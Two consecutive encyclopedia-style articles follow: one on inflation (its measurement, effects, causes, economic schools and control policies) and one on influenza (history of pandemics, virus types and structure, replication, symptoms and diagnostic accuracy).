          Measuring inflation requires finding objective ways of separating out changes in nominal prices from other influences related to real activity. In the simplest possible case, if the price of a 10 oz. can of corn changes from $0.90 to $1.00 over the course of a year, with no change in quality, then this price change represents inflation. But we are usually more interested in knowing how the overall cost of living changes, and therefore instead of looking at the change in price of one good, we want to know how the price of a large 'basket' of goods and services changes. This is the purpose of looking at a price index, which is a weighted average of many prices. The weights in the Consumer Price Index, for example, represent the fraction of spending that typical consumers spend on each type of goods (using data collected by surveying households).


          Inflation measures are often modified over time, either for the relative weight of goods in the basket, or in the way in which goods from the present are compared with goods from the past. This includes hedonic adjustments and reweighing as well as using chained measures of inflation. As with many economic numbers, inflation numbers are often seasonally adjusted in order to differentiate expected cyclical cost increases, versus changes in the economy. Inflation numbers are averaged or otherwise subjected to statistical techniques in order to remove statistical noise and volatility of individual prices. Finally, when looking at inflation, economic institutions sometimes only look at subsets or special indices. One common set is inflation excluding food and energy, which is often called  core inflation.


          


          Effects of inflation


          A small amount of inflation can be viewed as having a beneficial effect on the economy. One reason for this is that it can be difficult to renegotiate prices and wages. With generally increasing prices it is easier for relative prices to adjust.


          Many prices are " sticky downward" and tend to creep upward, so that efforts to attain a zero inflation rate (a constant price level) punish other sectors with falling prices, profits, and employment. Efforts to attain complete price stability can also lead to deflation, which is generally viewed as a negative by Keynesians because of the downward adjustments in wages and output that are associated with it.


          With inflation, the price of any given good is likely to increase over time, therefore both consumers and businesses may choose to make purchases sooner rather than later. This effect tends to keep an economy active in the short term by encouraging spending and borrowing, and in the long term by encouraging investments. But inflation can also reduce incentives to save, so the effect on gross capital formation in the long run is ambiguous.


          Inflation is also viewed as a hidden risk pressure that provides an incentive for those with savings to invest them, rather than have the purchasing power of those savings erode through inflation. In investing, inflation risks often cause investors to take on more systematic risk, in order to gain returns that will stay ahead of expected inflation.


          Inflation also gives central banks room to maneuver, since their primary tool for controlling the money supply and velocity of money is by setting the lowest interest rate in an economy - the discount rate at which banks can borrow from the central bank. Since borrowing at negative interest is generally ineffective, a positive inflation rate gives central bankers "ammunition", as it is sometimes called, to stimulate the economy. As central banks are controlled by governments, there is also often political pressure to increase the money supply to pay government services, this has the added effect of creating inflation and decreasing the net money owed by the government in previously negotiated contractual agreements and in debt.


          For these reasons, many economists see moderate inflation as a benefit; some business executives see mild inflation as "greasing the wheels of commerce." But other economists have advocated reducing inflation to zero as a monetary policy goal - particularly in the late 1990s at the end of a long disinflationary period, when the policy seemed within reach; and some have even advocated deflation instead of inflation.


          In general, high or unpredictable inflation rates are regarded as bad:


          
            	Uncertainty about future inflation may discourage investment and saving.


            	
              Redistribution

              
                	Rent Seeking - happens when resources are used to merely transfer wealth rather than produce it. e.g. a company tries to gauge and combat the costs of inflation.


                	inflation redistributes income from those on fixed incomes, such as pensioners, and shifts it to those who draw a variable income, for example from wages and profits which may keep pace with inflation.


                	Debtors may be helped by inflation due to reduction of the real value of debt burden.


                	Inflation redistributes wealth from those who lend a fixed amount of money to those who borrow. For example, where the government is a net debtor, as is usually the case, it will reduce this debt redistributing money towards the government. Thus inflation is sometimes viewed as similar to a hidden tax.


                	A particular form of inflation as a tax is Bracket Creep (also called fiscal drag). By allowing inflation to move upwards, certain sticky aspects of the tax code are met by more and more people. For example, income tax brackets, where the next dollar of income is taxed at a higher rate than previous dollars, tend to become distorted. Governments that allow inflation to "bump" people over these thresholds are, in effect, allowing a tax increase because the same real purchasing power is being taxed at a higher rate.

              

            


            	International trade: Where fixed exchange rates are imposed, higher inflation than in trading partners' economies will make exports more expensive and tend toward a weakening balance of trade.


            	Shoe leather costs: Because the value of cash is eroded by inflation, people will tend to hold less cash during times of inflation. This imposes real costs, for example in more frequent trips to the bank. (The term is a humorous reference to the cost of replacing shoe leather worn out when walking to the bank.)


            	Menu costs: Firms must change their prices more frequently, which imposes costs, for example with restaurants having to reprint menus.


            	Relative Price Distortions: Firms do not generally synchronize adjustment in prices. If there is higher inflation, firms that do not adjust their prices will have much lower prices relative to firms that do adjust them. This will distort economic decisions, since relative prices will not be reflecting relative scarcity of different goods.


            	Rising inflation can prompt trade unions to demand higher wages, to keep up with consumer prices. Rising wages in turn can help fuel inflation. In the case of collective bargaining, wages will be set as a factor of price expectations, which will be higher when inflation has an upward trend. This can cause a wage spiral. In a sense, inflation begets further inflationary expectations.


            	Hoarding: people buy consumer durables as stores of wealth in the absence of viable alternatives as a means of getting rid of excess cash before it is devalued, creating shortages of the hoarded objects.


            	Hyperinflation: if inflation gets totally out of control (in the upward direction), it can grossly interfere with the normal workings of the economy, hurting its ability to supply.

          


          


          Causes of inflation


          In the long run inflation is generally believed to be a monetary phenomenon while in the short and medium term it is influenced by the relative elasticity of wages, prices and interest rates. The question of whether the short-term effects last long enough to be important is the central topic of debate between monetarist and Keynesian schools. In monetarism prices and wages adjust quickly enough to make other factors merely marginal behaviour on a general trendline. In the Keynesian view, prices and wages adjust at different rates, and these differences have enough effects on real output to be "long term" in the view of people in an economy.


          A great deal of economic literature concerns the question of what causes inflation and what effect it has. There are different schools of thought as to what causes inflation. Most can be divided into two broad areas: quality theories of inflation, and quantity theories of inflation. Many theories of inflation combine the two. The quality theory of inflation rests on the expectation of a seller accepting currency to be able to exchange that currency at a later time for goods that are desirable as a buyer. The quantity theory of inflation rests on the equation of the money supply, its velocity, and exchanges. Adam Smith and David Hume proposed a quantity theory of inflation for money, and a quality theory of inflation for production.


          Keynesian economic theory proposes that money is transparent to real forces in the economy, and that visible inflation is the result of pressures in the economy expressing themselves in prices.


          There are three major types of inflation, as part of what Robert J. Gordon calls the "triangle model":


          
            	Demand-pull inflation: inflation caused by increases in aggregate demand due to increased private and government spending, etc. Demand inflation is constructive to a faster rate of economic growth since the excess demand and favourable market conditions will stimulate investment and expansion. The failing value of money, however, may encourage spending rather than saving and so reduce the funds available for investment.


            	Cost-push inflation: presently termed "supply shock inflation," caused by drops in aggregate supply due to increased prices of inputs, for example. Take for instance a sudden decrease in the supply of oil, which would increase oil prices. Producers for whom oil is a part of their costs could then pass this on to consumers in the form of increased prices.


            	Built-in inflation: induced by adaptive expectations, often linked to the " price/wage spiral" because it involves workers trying to keep their wages up (gross wages have to increase above the CPI rate to net to CPI after-tax) with prices and then employers passing higher costs on to consumers as higher prices as part of a "vicious circle." Built-in inflation reflects events in the past, and so might be seen as hangover inflation.

          


          A major demand-pull theory centers on the supply of money: inflation may be caused by an increase in the quantity of money in circulation relative to the ability of the economy to supply (its potential output). This is most obvious when governments finance spending in a crisis, such as a civil war, by printing money excessively, often leading to hyperinflation, a condition where prices can double in a month or less. Another cause can be a rapid decline in the demand for money, as happened in Europe during the Black Plague.


          The money supply is also thought to play a major role in determining moderate levels of inflation, although there are differences of opinion on how important it is. For example, Monetarist economists believe that the link is very strong; Keynesian economics, by contrast, typically emphasize the role of aggregate demand in the economy rather than the money supply in determining inflation. That is, for Keynesians the money supply is only one determinant of aggregate demand. Some economists consider this a 'hocus pocus' approach: They disagree with the notion that central banks control the money supply, arguing that central banks have little control because the money supply adapts to the demand for bank credit issued by commercial banks. This is the theory of endogenous money. Advocated strongly by post-Keynesians as far back as the 1960s, it has today become a central focus of Taylor rule advocates. But this position is not universally accepted. Banks create money by making loans. But the aggregate volume of these loans diminishes as real interest rates increase. Thus, it is quite likely that central banks influence the money supply by making money cheaper or more expensive, and thus increasing or decreasing its production.


          A fundamental concept in Keynesian analysis is the relationship between inflation and unemployment, called the Phillips curve. This model suggests that there is a trade-off between price stability and employment. Therefore, some level of inflation could be considered desirable in order to minimize unemployment. The Phillips curve model described the U.S. experience well in the 1960s but failed to describe the combination of rising inflation and economic stagnation (sometimes referred to as stagflation) experienced in the 1970s.


          Thus, modern macroeconomics describes inflation using a Phillips curve that shifts (so the trade-off between inflation and unemployment changes) because of such matters as supply shocks and inflation becoming built into the normal workings of the economy. The former refers to such events as the oil shocks of the 1970s, while the latter refers to the price/wage spiral and inflationary expectations implying that the economy "normally" suffers from inflation. Thus, the Phillips curve represents only the demand-pull component of the triangle model.


          Another Keynesian concept is the potential output (sometimes called the " natural gross domestic product"), a level of GDP, where the economy is at its optimal level of production given institutional and natural constraints. (This level of output corresponds to the Non-Accelerating Inflation Rate of Unemployment, NAIRU, or the "natural" rate of unemployment or the full-employment unemployment rate.) If GDP exceeds its potential (and unemployment is below the NAIRU), the theory says that inflation will accelerate as suppliers increase their prices and built-in inflation worsens. If GDP falls below its potential level (and unemployment is above the NAIRU), inflation will decelerate as suppliers attempt to fill excess capacity, cutting prices and undermining built-in inflation.


          However, one problem with this theory for policy-making purposes is that the exact level of potential output (and of the NAIRU) is generally unknown and tends to change over time. Inflation also seems to act in an asymmetric way, rising more quickly than it falls. Worse, it can change because of policy: for example, high unemployment under British Prime Minister Margaret Thatcher might have led to a rise in the NAIRU (and a fall in potential) because many of the unemployed found themselves as structurally unemployed (also see unemployment), unable to find jobs that fit their skills. A rise in structural unemployment implies that a smaller percentage of the labor force can find jobs at the NAIRU, where the economy avoids crossing the threshold into the realm of accelerating inflation.


          


          Monetarism


          Monetarists assert that the empirical study of monetary history shows that inflation has always been a monetary phenomenon. The quantity theory of money, simply stated, says that the total amount of spending in an economy is primarily determined by the total amount of money in existence. From this theory the following formula is created:


          [image: P=\frac{D_C}{S_C}]


          where P is the general price level of consumer goods, DC is the aggregate demand for consumer goods and SC is the aggregate supply of consumer goods. The idea is that the general price level of consumer goods will rise only if the aggregate supply of consumer goods falls relative to aggregate demand for consumer goods, or if aggregate demand increases relative to aggregate supply. Based on the idea that total spending is based primarily on the total amount of money in existence, the economists calculate aggregate demand for consumers' goods based on the total quantity of money. Therefore, they posit that as the quantity of money increases, total spending increases and aggregate demand for consumer goods increases too. For this reason, economists who believe in the Quantity Theory of Money also believe that the only cause of rising prices in a growing economy (this means the aggregate supply of consumer goods is increasing) is an increase of the quantity of money in existence, which is a function of monetary policies, generally set by central banks that have a monopoly on the issuance of currency, which is not pegged to a commodity, such as gold. The central bank of the United States is the Federal Reserve; the central bank backing the euro is the European Central Bank.


          No one denies that inflation is associated with excessive money supply, but opinions differ as to whether excessive money supply is the cause.


          


          Rational expectations


          Rational expectations theory holds that economic actors look rationally into the future when trying to maximize their well-being, and do not respond solely to immediate opportunity costs and pressures. In this view, while generally grounded in monetarism, future expectations and strategies are important for inflation as well.


          A core assertion of rational expectations theory is that actors will seek to head off central-bank decisions by acting in ways that fulfill predictions of higher inflation. This means that central banks must establish their credibility in fighting inflation, or have economic actors make bets that the economy will expand, believing that the central bank will expand the money supply rather than allow a recession.


          


          Other theories about the causes of inflation


          


          Austrian School


          Austrian School economics falls within the general tradition of the quantity theory of money, but is notable for providing a theory of the process whereby, upon an increase of the money supply, a new equilibrium is pursued. More specifically, possessors of the additional money are held to react to their new purchasing power by changing their buying habits in a way that generally increases demand for goods and for services. Austrian School economists do not believe that production will simply rise to meet all this new demand, so that prices increase and the new purchasing power erodes. The Austrian School emphasizes that this process is not instantaneous, and that the changes in demand are not distributed uniformly, so that the process does not ultimately lead to an equilibrium identical to the old except for some proportionate increase in prices; that nominal values thus have real effects. Austrian economists tend to view fiat increases in the money supply as particularly pernicious in their real effects. This view typically leads to the support for a commodity standard of a very strict variety where all notes are convertible on demand to some commodity or basket of commodities. (The more popular of the Austrian economists unanimously favour a gold standard.)


          


          Marxian theory


          In Marxian economics value is based on the labor required to extract a given commodity versus the demand for that commodity by those with money. The fluctuations of price in money terms are inconsequential compared to the rise and fall of the labor cost of a commodity, since this determines the true cost of a good or service. In this, Marxist economics is related to other "classical" economic theories that argue that monetary inflation is caused solely by printing notes in excess of the basic quantity of gold. However, Marx argues that the real kind of inflation is in the cost of production measured in labor. Because of the classical labor theory of value, the only factor that is important is whether more or less labor is required to produce a given commodity at the rate it is demanded.


          


          Supply-side economics


          Supply-side economics asserts that inflation is caused by either an increase in the supply of money or a decrease in the demand for balances of money. Thus the inflation experienced during the Black Plague in medieval Europe is seen as being caused by a decrease in the demand for money, the money stock used was gold coin and it was relatively fixed, while inflation in the 1970s is regarded as initially caused by an increased supply of money that occurred following the U.S. exit from the Bretton Woods gold standard. Supply-side economics asserts that the money supply can grow without causing inflation as long as the demand for balances of money also grows.


          


          Issues of classical political economy


          While economic theory before the "marginal revolution" is no longer the basis for current economic theory, many of the institutions, concepts, and terms used in economics come from the "classical" period of political economy, including monetary policy, quantity and quality theories of economics, central banking, velocity of money, price levels and division of the economy into production and consumption. For this reason debates about present economics often reference problems of classical political economy, particularly the classical gold standard of 1871-1913, and the currency versus banking debates of that period.


          


          Currency and banking schools


          Within the context of a fixed specie basis for money, one important controversy was between the "Quantity Theory" of money and the Real Bills Doctrine, or RBD. Within this context, quantity theory applies to the level of fractional reserve accounting allowed against specie, generally gold, held by a bank. The RBD argues that banks should also be able to issue currency against bills of trading, which is "real bills" that they buy from merchants. This theory was important in the 19th century in debates between "Banking" and "Currency" schools of monetary soundness, and in the formation of the Federal Reserve. In the wake of the collapse of the international gold standard post 1913, and the move towards deficit financing of government, RBD has remained a minor topic, primarily of interest in limited contexts, such as currency boards. It is generally held in ill repute today, with Frederic Mishkin, a governor of the Federal Reserve going so far as to say it had been "completely discredited." Even so, it has theoretical support from a few economists, particularly those that see restrictions on a particular class of credit as incompatible with libertarian principles of laissez-faire, even though almost all libertarian economists are opposed to the RBD.


          The debate between currency, or quantity theory, and banking schools in Britain during the 19th century prefigures current questions about the credibility of money in the present. In the 19th century the banking school had greater influence in policy in the United States and Great Britain, while the currency school had more influence "on the continent", that is in non-British countries, particularly in the Latin Monetary Union and the earlier Scandinavia monetary union.


          


          Anti-classical or backing theory


          Another issue associated with classical political economy is the anti-classical hypothesis of money, or "backing theory". The backing theory argues that the value of money is determined by the assets and liabilities of the issuing agency. Unlike the Quantity Theory of classical political economy, the backing theory argues that issuing authorities can issue money without causing inflation so long as the money issuer has sufficient assets to cover redemptions.


          


          Controlling inflation


          There are a number of methods that have been suggested to control inflation. Central banks such as the U.S. Federal Reserve can affect inflation to a significant extent through setting interest rates and through other operations (that is, using monetary policy). High interest rates and slow growth of the money supply are the traditional ways through which central banks fight or prevent inflation, though they have different approaches. For instance, some follow a symmetrical inflation target while others only control inflation when it rises above a target, whether express or implied.


          Monetarists emphasize increasing interest rates (slowing the rise in the money supply, monetary policy) to fight inflation. Keynesians emphasize reducing demand in general, often through fiscal policy, using increased taxation or reduced government spending to reduce demand as well as by using monetary policy. Supply-side economists advocate fighting inflation by fixing the exchange rate between the currency and some reference currency such as gold. This would be a return to the gold standard. All of these policies are achieved in practice through a process of open market operations.


          Another method attempted in the past have been wage and price controls (" incomes policies"). Wage and price controls have been successful in wartime environments in combination with rationing. However, their use in other contexts is far more mixed. Notable failures of their use include the 1972 imposition of wage and price controls by Richard Nixon. In general wage and price controls are regarded as a drastic measure, and only effective when coupled with policies designed to reduce the underlying causes of inflation during the wage and price control regime, for example, winning the war being fought. Many developed nations set prices extensively, including for basic commodities as gasoline. The usual economic analysis is that that which is under priced is overconsumed, and that the distortions that occur will force adjustments in supply. For example, if the official price of bread is too low, there will be too little bread at official prices.


          Temporary controls may complement a recession as a way to fight inflation: the controls make the recession more efficient as a way to fight inflation (reducing the need to increase unemployment), while the recession prevents the kinds of distortions that controls cause when demand is high. However, in general the advice of economists is not to impose price controls but to liberalize prices by assuming that the economy will adjust and abandon unprofitable economic activity. The lower activity will place fewer demands on whatever commodities were driving inflation, whether labor or resources, and inflation will fall with total economic output. This often produces a severe recession, as productive capacity is reallocated and is thus often very unpopular with the people whose livelihoods are destroyed. See Creative destruction.


          


          World inflation crisis


          



          See:


          
            	World food inflation


            	World petroleum inflation
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              	ICD- 10

              	J 10., J 11.
            


            
              	ICD- 9

              	487
            


            
              	DiseasesDB

              	6791
            


            
              	MedlinePlus

              	000080
            


            
              	eMedicine

              	med/1170 ped/3006
            


            
              	MeSH

              	D007251
            

          


          Influenza, commonly known as flu, is an infectious disease of birds and mammals caused by RNA viruses of the family Orthomyxoviridae (the influenza viruses). The name influenza comes from the Italian: influenza, meaning "influence", (Latin: influentia). In humans, common symptoms of the disease are chills and fever, sore throat, muscle pains, severe headache, coughing, weakness and general discomfort. In more serious cases, influenza causes pneumonia, which can be fatal, particularly in young children and the elderly. Although it is sometimes confused with the common cold, influenza is a much more severe disease and is caused by a different type of virus. Influenza can produce nausea and vomiting, especially in children, but these symptoms are more characteristic of the unrelated gastroenteritis, which is sometimes called "stomach flu" or "24-hour flu".


          Typically influenza is transmitted from infected mammals through the air by coughs or sneezes, creating aerosols containing the virus, and from infected birds through their droppings. Influenza can also be transmitted by saliva, nasal secretions, faeces and blood. Infections also occur through contact with these body fluids or with contaminated surfaces. Flu viruses can remain infectious for about one week at human body temperature, over 30 days at 0 C (32 F), and for much longer periods at very low temperatures. Most influenza strains can be inactivated easily by disinfectants and detergents.


          Flu spreads around the world in seasonal epidemics, killing millions of people in pandemic years and hundreds of thousands in non-pandemic years. Three influenza pandemics occurred in the 20th century and killed tens of millions of people, with each of these pandemics being caused by the appearance of a new strain of the virus in humans. Often, these new strains result from the spread of an existing flu virus to humans from other animal species. A deadly avian strain named H5N1 has posed the greatest risk for a new influenza pandemic since it first killed humans in Asia in the 1990s. Fortunately, this virus has not mutated to a form that spreads easily between people.


          Vaccinations against influenza are usually given to people in developed countries with a high risk of contracting the disease and to farmed poultry. The most common human vaccine is the trivalent influenza vaccine that contains purified and inactivated material from three viral strains. Typically, this vaccine includes material from two influenza A virus subtypes and one influenza B virus strain. A vaccine formulated for one year may be ineffective in the following year, since the influenza virus changes rapidly over time, and different strains become dominant. Antiviral drugs can be used to treat influenza, with neuraminidase inhibitors being particularly effective.
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          Etymology


          The word influenza comes from the Italian language and refers to the cause of a disease; initially, this ascribed illness to unfavorable astrological influences. Changes in medical thought led to its modification to influenza del freddo, meaning "influence of the cold". The word influenza was first used in English in 1743 when it was adopted, with an anglicized pronunciation, during an outbreak of the disease in Europe. Archaic terms for influenza include epidemic catarrh, grippe (from the French), sweating sickness, and Spanish fever (particularly for the 1918 pandemic strain).
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          The symptoms of human influenza were clearly described by Hippocrates roughly 2,400 years ago. Since then, the virus has caused numerous pandemics. Historical data on influenza are difficult to interpret, because the symptoms can be similar to those of other diseases, such as diphtheria, pneumonic plague, typhoid fever, dengue, or typhus. The first convincing record of an influenza pandemic was of an outbreak in 1580, which began in Asia and spread to Europe via Africa. In Rome, over 8,000 people were killed, and several Spanish cities were almost wiped out. Pandemics continued sporadically throughout the 17th and 18th centuries, with the pandemic of 18301833 being particularly widespread; it infected approximately a quarter of the people exposed.


          The most famous and lethal outbreak was the so-called Spanish flu pandemic ( type A influenza, H1N1 subtype), which lasted from 1918 to 1919. Older estimates say it killed 4050 million people, while current estimates say 50 million to 100 million people worldwide were killed. This pandemic has been described as "the greatest medical holocaust in history" and may have killed as many people as the Black Death. This huge death toll was caused by an extremely high infection rate of up to 50% and the extreme severity of the symptoms, suspected to be caused by cytokine storms. Indeed, symptoms in 1918 were so unusual that initially influenza was misdiagnosed as dengue, cholera, or typhoid. One observer wrote, "One of the most striking of the complications was hemorrhage from mucous membranes, especially from the nose, stomach, and intestine. Bleeding from the ears and petechial hemorrhages in the skin also occurred." The majority of deaths were from bacterial pneumonia, a secondary infection caused by influenza, but the virus also killed people directly, causing massive hemorrhages and edema in the lung.


          The Spanish flu pandemic was truly global, spreading even to the Arctic and remote Pacific islands. The unusually severe disease killed between 2 and 20% of those infected, as opposed to the more usual flu epidemic mortality rate of 0.1%. Another unusual feature of this pandemic was that it mostly killed young adults, with 99% of pandemic influenza deaths occurring in people under 65, and more than half in young adults 20 to 40 years old. This is unusual since influenza is normally most deadly to the very young (under age 2) and the very old (over age 70). The total mortality of the 19181919 pandemic is not known, but it is estimated that 2.5% to 5% of the world's population was killed. As many as 25 million may have been killed in the first 25 weeks; in contrast, HIV/AIDS has killed 25 million in its first 25 years.


          Later flu pandemics were not so devastating. They included the 1957 Asian Flu (type A, H2N2 strain) and the 1968 Hong Kong Flu (type A, H3N2 strain), but even these smaller outbreaks killed millions of people. In later pandemics antibiotics were available to control secondary infections and this may have helped reduce mortality compared to the Spanish Flu of 1918.


          
            
              Known flu pandemics
            

            
              	Name of pandemic

              	Date

              	Deaths

              	Subtype involved

              	Pandemic Severity Index
            


            
              	Asiatic (Russian) Flu

              	18891890

              	1 million

              	possibly H2N2

              	?
            


            
              	Spanish Flu

              	19181920

              	40 to 100 million

              	H1N1

              	5
            


            
              	Asian Flu

              	19571958

              	1 to 1.5 million

              	H2N2

              	2
            


            
              	Hong Kong Flu

              	19681969

              	0.75 to 1 million

              	H3N2

              	2
            

          


          The etiological cause of influenza, the Orthomyxoviridae family of viruses, was first discovered in pigs by Richard Schope in 1931. This discovery was shortly followed by the isolation of the virus from humans by a group headed by Patrick Laidlaw at the Medical Research Council of the United Kingdom in 1933. However, it was not until Wendell Stanley first crystallized tobacco mosaic virus in 1935 that the non-cellular nature of viruses was appreciated.


          The first significant step towards preventing influenza was the development in 1944 of a killed-virus vaccine for influenza by Thomas Francis, Jr.. This built on work by Frank Macfarlane Burnet, who showed that the virus lost virulence when it was cultured in fertilized hen's eggs. Application of this observation by Francis allowed his group of researchers at the University of Michigan to develop the first influenza vaccine, with support from the U.S. Army. The Army was deeply involved in this research due to its experience of influenza in World War I, when thousands of troops were killed by the virus in a matter of months.


          Although there were scares in New Jersey in 1976 (with the Swine Flu), worldwide in 1977 (with the Russian Flu), and in Hong Kong and other Asian countries in 1997 (with H5N1 avian influenza), there have been no major pandemics since the 1968 Hong Kong Flu. Immunity to previous pandemic influenza strains and vaccination may have limited the spread of the virus and may have helped prevent further pandemics.


          


          Microbiology


          


          Types of influenza virus
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          The influenza virus is an RNA virus of the family Orthomyxoviridae, which comprises five genera:


          
            	Influenzavirus A


            	Influenzavirus B


            	Influenzavirus C


            	Isavirus


            	Thogotovirus

          


          


          Influenzavirus A


          This genus has one species, influenza A virus. Wild aquatic birds are the natural hosts for a large variety of influenza A. Occasionally, viruses are transmitted to other species and may then cause devastating outbreaks in domestic poultry or give rise to human influenza pandemics. The type A viruses are the most virulent human pathogens among the three influenza types and cause the most severe disease. The influenza A virus can be subdivided into different serotypes based on the antibody response to these viruses. The serotypes that have been confirmed in humans, ordered by the number of known human pandemic deaths, are:


          
            	H1N1, which caused Spanish flu in 1918


            	H2N2, which caused Asian Flu in 1957


            	H3N2, which caused Hong Kong Flu in 1968


            	H5N1, a pandemic threat in the 200708 flu season


            	H7N7, which has unusual zoonotic potential


            	H1N2, endemic in humans and pigs


            	H9N2


            	H7N2


            	H7N3


            	H10N7

          


          


          Influenzavirus B


          This genus has one species, influenza B virus. Influenza B almost exclusively infects humans and is less common than influenza A. The only other animal known to be susceptible to influenza B infection is the seal. This type of influenza mutates at a rate 23 times lower than type A and consequently is less genetically diverse, with only one influenza B serotype. As a result of this lack of antigenic diversity, a degree of immunity to influenza B is usually acquired at an early age. However, influenza B mutates enough that lasting immunity is not possible. This reduced rate of antigenic change, combined with its limited host range (inhibiting cross species antigenic shift), ensures that pandemics of influenza B do not occur.


          


          Influenzavirus C


          This genus has one species, influenza C virus, which infects humans and pigs and can cause severe illness and local epidemics. However, influenza C is less common than the other types and usually seems to cause mild disease in children.


          


          Structure and properties


          Influenzaviruses A, B and C are very similar in structure. The virus particle is 80120 nanometres in diameter and usually roughly spherical, although filamentous forms can occur. Unusually for a virus, its genome is not a single piece of nucleic acid; instead, it contains seven or eight pieces of segmented negative-sense RNA. The Influenza A genome encodes 11 proteins: hemagglutinin (HA), neuraminidase (NA), nucleoprotein (NP), M1, M2, NS1, NS2(NEP), PA, PB1, PB1-F2 and PB2.


          HA and NA are large glycoproteins on the outside of the viral particles. HA is a lectin that mediates binding of the virus to target cells and entry of the viral genome into the target cell, while NA is involved in the release of progeny virus from infected cells, by cleaving sugars that bind the mature viral particles. Thus, these proteins are targets for antiviral drugs. Furthermore, they are antigens to which antibodies can be raised. Influenza A viruses are classified into subtypes based on antibody responses to HA and NA, forming the basis of the H and N distinctions in, for example, H5N1.


          


          Infection and replication
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          Influenza viruses bind through hemagglutinin onto sialic acid sugars on the surfaces of epithelial cells; typically in the nose, throat and lungs of mammals and intestines of birds (Stage 1 in infection figure). The cell imports the virus by endocytosis. In the acidic endosome, part of the hemagglutinin protein fuses the viral envelope with the vacuole's membrane, releasing the viral RNA (vRNA) molecules, accessory proteins and RNA-dependent RNA polymerase into the cytoplasm (Stage 2). These proteins and vRNA form a complex that is transported into the cell nucleus, where the RNA-dependent RNA polymerase begins transcribing complementary positive-sense vRNA (Steps 3a and b). The vRNA is either exported into the cytoplasm and translated (step 4), or remains in the nucleus. Newly-synthesised viral proteins are either secreted through the Golgi apparatus onto the cell surface (in the case of neuraminidase and hemagglutinin, step 5b) or transported back into the nucleus to bind vRNA and form new viral genome particles (step 5a). Other viral proteins have multiple actions in the host cell, including degrading cellular mRNA and using the released nucleotides for vRNA synthesis and also inhibiting translation of host-cell mRNAs.


          Negative-sense vRNAs that form the genomes of future viruses, RNA-dependent RNA polymerase, and other viral proteins are assembled into a virion. Hemagglutinin and neuraminidase molecules cluster into a bulge in the cell membrane. The vRNA and viral core proteins leave the nucleus and enter this membrane protrusion (step 6). The mature virus buds off from the cell in a sphere of host phospholipid membrane, acquiring hemagglutinin and neuraminidase with this membrane coat (step 7). As before, the viruses adhere to the cell through hemagglutinin; the mature viruses detach once their neuraminidase has cleaved sialic acid residues from the host cell. After the release of new influenza viruses, the host cell dies.


          Because of the absence of RNA proofreading enzymes, the RNA-dependent RNA polymerase makes a single nucleotide insertion error roughly every 10 thousand nucleotides, which is the approximate length of the influenza vRNA. Hence, nearly every newly-manufactured influenza virus is a mutantantigenic drift. The separation of the genome into eight separate segments of vRNA allows mixing or reassortment of vRNAs if more than one viral line has infected a single cell. The resulting rapid change in viral genetics produces antigenic shifts and allows the virus to infect new host species and quickly overcome protective immunity. This is important in the emergence of pandemics, as discussed below in the section on Epidemiology.


          


          Symptoms and diagnosis


          In humans, influenza's effects are much more severe and last longer than those of the common cold. Recovery takes about one to two weeks. Influenza, however, can be deadly, especially for the weak, old or chronically ill. The flu can worsen chronic health problems. People with emphysema, chronic bronchitis or asthma may experience shortness of breath while they have the flu, and influenza may cause worsening of coronary heart disease or congestive heart failure. Smoking is another risk factor associated with more serious disease and increased mortality from influenza.


          


          Symptoms


          Symptoms of influenza can start quite suddenly one to two days after infection. Usually the first symptoms are chills or a chilly sensation, but fever is also common early in the infection, with body temperatures as high as 39 C (approximately 103 F). Many people are so ill that they are confined to bed for several days, with aches and pains throughout their bodies, which are worse in their backs and legs. Symptoms of influenza may include:


          
            	
              
                	Body aches, especially joints and throat


                	Coughing and sneezing


                	Extreme coldness and fever


                	Fatigue


                	Headache


                	Irritated watering eyes


                	Nasal congestion


                	Reddened eyes, skin (especially face), mouth, throat and nose


                	Abdominal pain (in children with influenza B)

              

            

          


          It can be difficult to distinguish between the common cold and influenza in the early stages of these infections, but usually the symptoms of the flu are more severe than their common cold equivalents. Research on signs and symptoms of influenza found that the best findings for excluding the diagnosis of influenza were:


          
            
              Highest sensitive individual findings for diagnosing influenza
            

            
              	Finding:

              	sensitivity

              	specificity
            


            
              	Fever

              	86%

              	25%
            


            
              	Cough

              	98%

              	23%
            


            
              	Nasal congestion

              	7090%

              	2040%
            

          


          Notes to table:


          
            	Sensitivity is the proportion of people who tested positive of all the positive people tested. In this case, being positive or negative is having influenza or not, and being tested positive or negative is having the symptom or not. For instance, 86% of those with influenza had fever.


            	Specificity is the proportion of people who tested negative of all the negative people tested. In this case, the ones without fever only constitute 25% of those without influenza. In other words, the majority of people with fever do not have influenza.


            	All three findings, especially fever, were less sensitive in patients over 60 years of age.

          


          Since anti-viral drugs are effective in treating influenza if given early (see treatment section, below), it can be important to identify cases early. Of the symptoms listed above, the combinations of findings below can improve diagnostic accuracy. Unfortunately, even combinations of findings are imperfect. However, Bayes Theorem can combine pretest probability with clinical findings to adequately diagnose or exclude influenza in some patients. The pretest probability has a strong seasonal variation; the current prevalence of influenza among patients in the United States receiving sentinel testing is available at the CDC. Using the CDC data, the following table shows how the likelihood of influenza varies with prevalence:


          
            
              Combinations of findings for diagnosing influenza
            

            
              	Combinations of findings

              	Sensitivity

              	Specificity

              	As reported in study

              and projected during local outbreaks

              (prevalence=66%)

              	Projected during influenza season

              (prevalence=25%)

              	Projected in off-season

              (prevalence=2%)
            


            
              	PPV

              	NPV

              	PPV

              	NPV

              	PPV

              	NPV
            


            
              	Fever and cough

              	64%

              	67%

              	79%

              	49%

              	39%

              	15%

              	4%

              	1%
            


            
              	Fever and cough and sore throat

              	56

              	71

              	79

              	45

              	39

              	17

              	4

              	2
            


            
              	Fever and cough and nasal congestion

              	59

              	74

              	81

              	48

              	43

              	16

              	4

              	1
            

          


          Two decision analysis studies suggest that during local outbreaks of influenza, the prevalence will be over 70%, and thus patients with any of the above combinations of symptoms may be treated with neuramidase inhibitors without testing. Even in the absence of a local outbreak, treatment may be justified in the elderly during the influenza season as long as the prevalence is over 15%.


          Most people who get influenza will recover in one to two weeks, but others will develop life-threatening complications (such as pneumonia). According to the World Health Organization: "Every winter, tens of millions of people get the flu. Most are only ill and out of work for a week, yet the elderly are at a higher risk of death from the illness. We know the world-wide death toll exceeds a few hundred thousand people a year, but even in developed countries the numbers are uncertain, because medical authorities don't usually verify who actually died of influenza and who died of a flu-like illness." Even healthy people can be affected, and serious problems from influenza can happen at any age. People over 50 years old, very young children and people of any age with chronic medical conditions are more likely to get complications from influenza, such as pneumonia, bronchitis, sinus, and ear infections.


